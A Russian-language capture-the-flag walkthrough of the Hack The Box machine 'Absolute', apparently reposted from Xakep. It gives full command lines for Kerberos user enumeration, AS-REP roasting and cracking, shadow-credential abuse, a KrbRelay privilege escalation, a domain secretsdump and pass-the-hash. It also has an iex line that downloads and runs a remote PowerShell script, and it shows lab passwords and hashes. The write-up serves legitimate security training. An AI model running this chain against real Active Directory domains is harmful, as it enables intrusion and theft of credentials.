Хакер - HTB Absolute. Атакуем Active Directory с повышением привилегий через KrbRelay

Хакер - HTB Absolute. Атакуем Active Directory с повышением привилегий через KrbRelay

hacker_frei

https://t.me/hacker_frei

RalfHacker 

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Продвижение
  • Пользователь svc_smb
  • Пользователь m.lovegod
  • Пользователь winrm_user
  • Локальное повышение привилегий

В этом рай­тапе я покажу тебе мно­жес­тво при­емов работы с Kerberos, начиная ска­ниро­вани­ем поль­зовате­лей и закан­чивая аутен­тифика­цией для дос­тупа к раз­ным служ­бам. Завер­шим про­хож­дение при­мене­нием извес­тной тех­ники KrbRelayUp.

На­ша цель — зах­ват рута на тре­ниро­воч­ной машине Absolute с пло­щад­ки Hack The Box. Слож­ность про­хож­дения оце­нена как «безум­ная». Тем инте­рес­нее оно будет!

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.181 absolute.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Ска­нер обна­ружил мно­го откры­тых пор­тов, что типич­но для сер­веров с Windows:

  • 53 — служ­ба DNS;
  • 80 (HTTP) — веб‑сер­вер Microsoft IIS/10.0;
  • 88 — служ­ба Kerberos;
  • 135 — служ­ба уда­лен­ного вызова про­цедур (Microsoft RPC), исполь­зует­ся для опе­раций вза­имо­дей­ствия кон­трол­лер — кон­трол­лер и кон­трол­лер — кли­ент;
  • 139 — служ­ба сеан­сов NetBIOS, NetLogon;
  • 389 — служ­ба LDAP;
  • 445 — служ­ба SMB;
  • 464 — служ­ба сме­ны пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — исполь­зует­ся в служ­бах DCOM и MS Exchange;
  • 636 — LDAP с шиф­ровани­ем SSL или TLS;
  • 3268 (LDAP) — для дос­тупа к Global Catalog от кли­ента к кон­трол­леру;
  • 3269 (LDAPS) — для дос­тупа к Global Catalog от кли­ента к кон­трол­леру через защищен­ное соеди­нение;
  • 5985 — служ­ба уда­лен­ного управле­ния WinRM;
  • 9389 — веб‑служ­бы AD DS.

Ни одна служ­ба не поз­волила прой­ти аутен­тифика­цию от име­ни поль­зовате­ля guest, поэто­му идем смот­реть, что нам покажет веб‑сер­вер.

Глав­ная стра­ница сай­та

ТОЧКА ВХОДА

На сай­те ничего инте­рес­ного нет, но всег­да сто­ит изу­чать метадан­ные всех при­ложен­ных фай­лов. На сай­те нам дос­тупны толь­ко кар­тинки, берем любую из них (мне попалась под руку hero_5.jpg), ска­чива­ем и про­веря­ем метадан­ные.

exiftool hero_5.jpg

Ме­тадан­ные изоб­ражения

В поле авто­ра явно имя поль­зовате­ля! Ска­чива­ем все дос­тупные кар­тинки и извле­каем отту­да име­на. Инте­рес­но, что они все раз­ные.

exiftool hero_*.jpg | grep Author

По­лучен­ные име­на поль­зовате­лей

Так как на сер­вере активна служ­ба Kerberos, мы можем переб­рать име­на поль­зовате­лей. Kerberos име­ет три раз­ных вари­анта отве­та в слу­чае невер­ной аутен­тифика­ции:

  • учет­ные дан­ные невер­ны;
  • нет такого поль­зовате­ля;
  • пред­варитель­ная аутен­тифика­ция не тре­бует­ся.

При этом для каж­дого поль­зовате­ля у нас есть имя и фамилия, поэто­му я накидал прос­той скрипт, что­бы сге­нери­ровать все воз­можные вари­анты имен учет­ных записей из пред­став­ленных пар.

names = ["James Roberts", "Michael Chaffrey", "Donald Klay", "Sarah Osvald", "Jeffer Robinson", "Nicole Smith"]

list = ["Administrator", "Guest"]

for name in names:

n1, n2 = name.split(' ')

list.append(n1)

list.append(n1+n2)

list.append(n1+"."+n2)

list.append(n1+n2[0])

list.append(n1+"."+n2[0])

list.append(n2[0]+n1)

list.append(n2[0]+"."+n1)

list.append(n2)

list.append(n2+n1)

list.append(n2+"."+n1)

list.append(n2+n1[0])

list.append(n2+"."+n1[0])

list.append(n1[0]+n2)

list.append(n1[0]+"."+n2)

for n in list:

print(n)

А теперь выпол­няем перебор имен поль­зовате­лей с помощью ути­литы kerbrute.

./kerbrute_linux_amd64 userenum --dc absolute.htb -d absolute.htb test_users.txt

Ре­зуль­тат перебо­ра

По­луча­ем спи­сок из семи сущес­тву­ющих учет­ных записей. Я уже говорил, что есть вари­ант, при котором для учет­ной записи не тре­бует­ся пред­варитель­ная аутен­тифика­ция. Давай прос­каниру­ем наших поль­зовате­лей с при­мене­нием тех­ники ASRep Roasting. Она поз­воля­ет получить поль­зователь­ский билет, из которо­го перебо­ром мож­но извлечь пароль поль­зовате­ля. Выпол­ним дан­ную ата­ку с помощью скрип­та GetNPUsers из набора impacket.

impacket-GetNPUsers absolute.htb/ -no-pass -usersfile users.txt

Ре­зуль­тат ASRep Roasting

Что­бы переб­рать хеш с помощью hashcat, нуж­но знать режим перебо­ра. Его мож­но най­ти в справ­ке hashcat.

hashcat --example | grep 'krb5asrep' -A2 -B12

Справ­ка hashcat

Те­перь ука­зыва­ем режим 18200 и переби­раем получен­ный хеш.

hashcat -a 0 -m 18200 klay_hash.krb5asrep rockyou.txt

Ре­зуль­тат взло­ма хеша

И получа­ем пароль поль­зовате­ля D.Klay.

ПРОДВИЖЕНИЕ

Пользователь svc_smb

Про­верим получен­ные учет­ные дан­ные, попытав­шись под­клю­чить­ся к служ­бе SMB с помощью уни­вер­саль­ного средс­тва CrackMapExec.

crackmapexec smb 10.10.11.181 -u D.Klay -p Darkmoonsky248girl

Ре­зуль­тат под­клю­чения к служ­бе SMB

Ни­чего не выш­ло, так как не работа­ет NTLM-аутен­тифика­ция. Поэто­му исполь­зуем аутен­тифика­цию Kerberos, для чего выписы­ваем тикет с помощью скрип­та getTGT из набора impacket. Не забыва­ем выс­тавить оди­нако­вое вре­мя на кли­енте и сер­вере. Что­бы не делать это вруч­ную, мож­но авто­мати­чес­ки син­хро­низи­ровать вре­мя с помощью net time.

sudo timedatectl set-ntp false

sudo net time set -S 10.10.11.181

impacket-getTGT 'absolute.htb/D.Klay@absolute.htb:Darkmoonsky248girl'

По­луче­ние тикета поль­зовате­ля D.Klay

А теперь пов­торим под­клю­чение к SMB с аутен­тифика­цией Kerberos.

export KRB5CCNAME=D.Klay@absolute.htb.ccache

cme smb 10.10.11.181 -u D.Klay -d absolute.htb -k --kdcHost dc.absolute.htb

Ре­зуль­тат под­клю­чения к служ­бе SMB

И сно­ва неуда­ча, хотя в отве­те видим, что эта служ­ба не про­писа­на в билете. Про­буем под­клю­чить­ся к LDAP.

cme ldap 10.10.11.181 -u D.Klay -d absolute.htb -k --kdcHost dc.absolute.htb

Ре­зуль­тат под­клю­чения к служ­бе SMB

Под­клю­чение успешное, и мы можем работать с LDAP. Пер­вым делом зап­рашива­ем всех поль­зовате­лей. Это мож­но сде­лать, ука­зав флаг --users.

cme ldap 10.10.11.181 -u D.Klay -d absolute.htb -k --kdcHost dc.absolute.htb --users

Поль­зовате­ли домена

В опи­сании поль­зовате­ля svc_smb, ско­рее все­го, записан пароль. Выписы­ваем билет для этой учет­ки и про­буем авто­ризо­вать­ся на SMB.

impacket-getTGT 'absolute.htb/svc_smb@absolute.htb:AbsoluteSMBService123!'

export KRB5CCNAME=svc_smb@absolute.htb.ccache

impacket-smbclient svc_smb@dc.absolute.htb -k -no-pass

shares

Об­щие катало­ги SMB

Мы получи­ли дос­туп к обще­му ресур­су домена.

Пользователь m.lovegod

Прос­матри­ваем дос­тупный каталог Shared и находим там два фай­ла.

Со­дер­жимое ресур­са Shared

Нам инте­ресен толь­ко исполня­емый файл, поэто­му ска­чива­ем его коман­дой get. Как обыч­но, я прос­то запус­каю файл в вир­туал­ке, что­бы пос­мотреть хотя бы его вывод. Пос­ле запус­ка никаких сооб­щений не появи­лось, но по сооб­щению фай­рво­ла ста­ло понят­но, что файл ломит­ся в сеть. Откры­ваем WireShark и заново запус­каем файл.

Пе­рех­вачен­ные сетевые пакеты

Пер­вым делом прог­рамма пыта­ется резол­вить имя кон­трол­лера домена. Добавим нашу запись из фай­ла /etc/hosts в ана­логич­ный файл на Windows по такому пути:

C:\Windows\System32\drivers\etc\hosts

А в нас­трой­ках сетево­го адап­тера (тип мар­шру­тиза­ции в нас­трой­ках вир­туаль­ной машины дол­жен быть NAT) ука­зыва­ем в качес­тве DNS-сер­вера уда­лен­ную машину. При пов­торном запус­ке прог­раммы видим под­клю­чение к сер­веру LDAP с аутен­тифика­цией.

Пе­рех­вачен­ные сетевые пакеты

От­кры­ваем пакет, где переда­ются учет­ные дан­ные, и получа­ем еще одно­го поль­зовате­ля.

Учет­ные дан­ные поль­зовате­ля m.lovegod

По­луча­ем билет для служ­бы LDAP и про­веря­ем под­клю­чение.

impacket-getTGT 'absolute.htb/m.lovegod@absolute.htb:AbsoluteLDAP2022!'

export KRB5CCNAME=m.lovegod@absolute.htb.ccache

cme ldap 10.10.11.181 -u m.lovegod -d absolute.htb -k --kdcHost dc.absolute.htb

Про­вер­ка учет­ных дан­ных поль­зовате­ля

Пользователь winrm_user

Итак, мы упер­лись в тупик, но име­ем дос­туп к LDAP, поэто­му можем исполь­зовать BloodHound.

Справка: BloodHound

Ути­лита BloodHound исполь­зует теорию гра­фов для выяв­ления скры­тых и зачас­тую неп­редна­мерен­ных вза­имос­вязей в сре­де Active Directory. Ее мож­но исполь­зовать, что­бы лег­ко иден­тифици­ровать очень слож­ные пути ата­ки. Помимо самой ути­литы, которая поз­воля­ет прос­матри­вать граф, сущес­тву­ет часть, заг­ружа­емая на уда­лен­ный хост для сбо­ра информа­ции. Она быва­ет в вер­сиях для Windows — на PowerShell или C# и для Linux — на Python.

Спер­ва соберем информа­цию с целево­го хос­та, бла­го это не зай­мет мно­го вре­мени. В парамет­рах ука­зыва­ем учет­ные дан­ные для под­клю­чения, адрес хос­та и тип собира­емой информа­цию — всю (параметр -c, зна­чение All).

python3 bloodhound.py -c All -u m.lovegod -k -no-pass -d absolute.htb -dc dc.absolute.htb -ns 10.10.11.181 --dns-tcp --zip

Ло­ги BloodHound

В логах видим, сколь­ко доменов, лесов и компь­юте­ров най­дено, сколь­ко поль­зовате­лей и групп получе­но. В резуль­тате работы BloodHound в текущей дирек­тории появит­ся нес­коль­ко фай­лов. Для работы с ними нам нуж­но уста­новить СУБД Neo4j и гра­фичес­кую оснас­тку BloodHound для пос­тро­ения гра­фа свя­зей.

sudo apt install neo4j bloodhound

За­пус­тим уста­нов­ленную СУБД:

sudo neo4j console

Пос­ле того как появит­ся сооб­щение об успешном стар­те, зай­дем на localhost:7474 через бра­узер. Нам сра­зу пред­ложат уста­новить пароль. Сде­лаем это, запус­тим BloodHound (коман­да bloodhound в коман­дной стро­ке) и авто­ризу­емся с толь­ко что уста­нов­ленным паролем. Откро­ется пус­тое окош­ко — закиды­ваем в него получен­ные в резуль­тате работы bloodhound-python фай­лы. А затем в поле поис­ка ука­зыва­ем груп­пу домен­ных поль­зовате­лей. BloodHound отоб­разит всех поль­зовате­лей. Най­дем сре­ди них под­кон­троль­ных нам и пометим как Mark User as Owned. На их икон­ках дол­жен будет появить­ся череп.

По­мечен­ные поль­зователь

За­тем прой­дем в гра­фу ана­лити­ки и поп­росим BloodHound най­ти путь прод­вижения к дру­гим поль­зовате­лям от уже взло­ман­ных (которых мы толь­ко помети­ли) — опция Shortest Path from Owned Principals. Так мы получим мар­шрут дви­жения от поль­зовате­ля m.lovegod.

Мар­шрут дви­жения к поль­зовате­лю WINRM_USER

Мы узна­ли, что под­кон­троль­ный поль­зователь m.lovegod — вла­делец груп­пы NETWORK AUDIT, чле­ны которой, в свою оче­редь, име­ют пол­ные пра­ва на учет­ную запись поль­зовате­ля WINRM_USER. То есть ата­ка будет раз­делена на два эта­па: добав­ление поль­зовате­ля в груп­пу и получе­ние учет­ных дан­ных поль­зовате­ля.

Эксплуатация права Owns на группу пользователей

Так как дос­туп к целево­му поль­зовате­лю име­ют толь­ко чле­ны груп­пы NETWORK AUDIT, добавим себя в нее. Для это­го нам пот­ребу­ются скрип­ты PowerView и ADModule. Импорти­руем их на сво­ей машине с Windows.

. .\PowerView.ps1

iex (new-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1')

Import-ActiveDirectory

А теперь добав­ляем поль­зовате­ля m.lovegod в целевую груп­пу.

$SecPassword = ConvertTo-SecureString "AbsoluteLDAP2022!" -AsPlainText -Force

$Cred = New-Object System.Management.Automation.PSCredential('ABSOLUTE.HTB\m.lovegod', $SecPassword)

Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'Network Audit' -Rights all -DomainController dc.absolute.htb -principalidentity 'm.lovegod'

Add-ADPrincipalGroupMembership -Identity m.lovegod -MemberOf 'Network Audit' -Credential $Cred -Server dc.absolute.htb

Поль­зователь добав­лен в груп­пу, перехо­дим ко вто­рому эта­пу.

Эксплуатация права GenericWrite на учетную запись пользователя

Ког­да мы име­ем пра­во GenericWrite на учет­ную запись поль­зовате­ля, мы можем манипу­лиро­вать его дан­ными для аутен­тифика­ции, к при­меру сер­тифика­том. С помощью скрип­та pywhisker генери­руем и добав­ляем поль­зовате­лю сер­тификат.

python3 pywhisker.py -d absolute.htb -u 'm.lovegod' -k --no-pass -t 'winrm_user' --action 'add'

Ло­ги pywhisker

А теперь по сер­тифика­ту получа­ем билет поль­зовате­ля с помощью PKINITtools.

python3 ../PKINITtools/gettgtpkinit.py 'absolute.htb/winrm_user' -cert-pfx HDkBijzZ.pfx -pfx-pass '5HeYwjBLZtZBnbiOPONR' winrm_user.ccache

По­луче­ние Kerberos-тикета

До­бав­ляем целевой хост в файл /etc/krb5.conf для авто­риза­ции с помощью Kerberos.

[libdefaults]

default_realm = ABSOLUTE.HTB

[realms]

ABSOLUTE.HTB = {

kdc = DC.ABSOLUTE.HTB

admin_server = ABSOLUTE.HTB

}

Эк­спор­тиру­ем тикет и авто­ризу­емся по WinRM.

export KRB5CCNAME=winrm_user.ccache

evil-winrm -i DC.ABSOLUTE.HTB -r ABSOLUTE.HTB

Флаг поль­зовате­ля

На­конец мы получи­ли дос­туп к хос­ту. Перехо­дим к повыше­нию при­виле­гий. 

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Те­перь приш­ло вре­мя про­вес­ти раз­ведку в локаль­ной сис­теме и соб­рать всю самую инте­рес­ную информа­цию. Для прос­мотра сис­темных кон­фигура­ций я исполь­зую тул­зу Seatbelt с фла­гом -group=system. Это помог­ло уста­новить, что под­пись LDAP необя­затель­на.

Нас­трой­ки под­писи

Тут приш­ла идея выпол­нить ата­ку рет­ран­сля­ции Kerberos, что при­ведет к повыше­нию при­виле­гий на хос­те. Суть рет­ран­сля­ции учет­ных дан­ных в том, что ата­кующий может зас­тавить поль­зовате­ля прой­ти аутен­тифика­цию на одном ресур­се и исполь­зовать эту информа­цию для аутен­тифика­ции на дру­гом, не свя­зан­ном ресур­се. Это поз­волит получить дос­туп от име­ни поль­зовате­ля.

Для этой ата­ки пот­ребу­ется так­же соз­дать учет­ную запись машины. Ход ата­ки такой:

  1. Соз­даем учет­ную запись компь­юте­ра.
  2. Вы­зыва­ем аутен­тифика­цию на локаль­ной машине и рет­ран­сли­руем ее на LDAP.
  3. Это дает пра­во добавить RBCD и получить TGS-билет для локаль­ной машины.
  4. С получен­ным TGS соз­даем служ­бу на локаль­ной машине.

По умол­чанию каж­дый поль­зователь может соз­дать до десяти учет­ных записей компь­юте­ров. Про­верим это зна­чение:

ms-DS-MachineAccountQuota

Од­нако на этой машине нас ждет неуда­ча: мы не можем соз­давать учет­ные записи компь­юте­ров.

Get-ADObject -Identity ((Get-ADDomain).distinguishedname) -Properties ms-DS-MachineAccountQuota

Про­вер­ка зна­чения ms-DS-MachineAccountQuota

В этом слу­чае при­дет­ся исполь­зовать нес­коль­ко дру­гой сце­нарий:

  1. Вы­зыва­ем аутен­тифика­цию на локаль­ной машине и рет­ран­сли­руем ее на LDAP.
  2. До­бав­ляем для учет­ной записи локаль­ной машины теневые учет­ные дан­ные (атри­бут msDS-KeyCredentialLink).
  3. Ис­поль­зуя теневые учет­ные дан­ные, получа­ем TGT-билет для учет­ной записи локаль­ной машины, что дает воз­можность получить TGS.
  4. С получен­ным TGS соз­даем служ­бу на локаль­ной машине.

На треть­ем шаге мож­но по TGT получить NTLM-хеш учет­ной записи локаль­ной машины и сдам­пить все учет­ные дан­ные с сис­темы. Так и пос­тупим, но спер­ва узна­ем вер­сию исполь­зуемой опе­раци­онной сис­темы:

Get-ComputerInfo

Ин­форма­ция о сис­теме

Это Windows Server 2019 Standard 1809, поэто­му исполь­зуем вот такой CLSID:

90f18417-f0f1-484e-9d3c-59dceee5dbd8

Про­водить ата­ку будем с помощью инс­тру­мен­та KrbRelay, но, пос­коль­ку запус­кать его нуж­но от име­ни поль­зовате­ля m.lovegod с дос­тупом к LDAP, так­же исполь­зуем RunasCs.

RunasCs.exe m.lovegod 'AbsoluteLDAP2022!' -d absolute.htb -l 9 "C:\Users\winrm_user\Documents\KrbRelay.exe -spn ldap/dc.absolute.htb -clsid {90f18417-f0f1-484e-9d3c-59dceee5dbd8} -shadowcred"

Вы­пол­нение рет­ран­сля­ции LDAP

Те­перь, исполь­зуя добав­ленный сер­тификат и пароль, получим TGT и NTLM-хеш пароля учет­ной записи с помощью Rubeus.

Rubeus.exe asktgt /user:DC$ /certificate:MIIJqAIBAz...66VAgIH0A== /password:"53d64ff7-3986-4609-97e6-5035c79fff8f" /getcredentials /show

NTLM-хеш пароля учет­ной записи машины

С получен­ным хешем выпол­няем реп­ликацию всех учет­ных дан­ных домена.

impacket-secretsdump -hashes :A7864AB463177ACB9AEC553F18F42577 'dc$@absolute.htb'

Учет­ные дан­ные домена

С учет­кой адми­нис­тра­тора под­клю­чаем­ся к хос­ту и забира­ем флаг.

evil-winrm -i absolute.htb -u Administrator -H 1f4a6093623653f6488d5aa24c75f2ea

Флаг рута

Ма­шина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page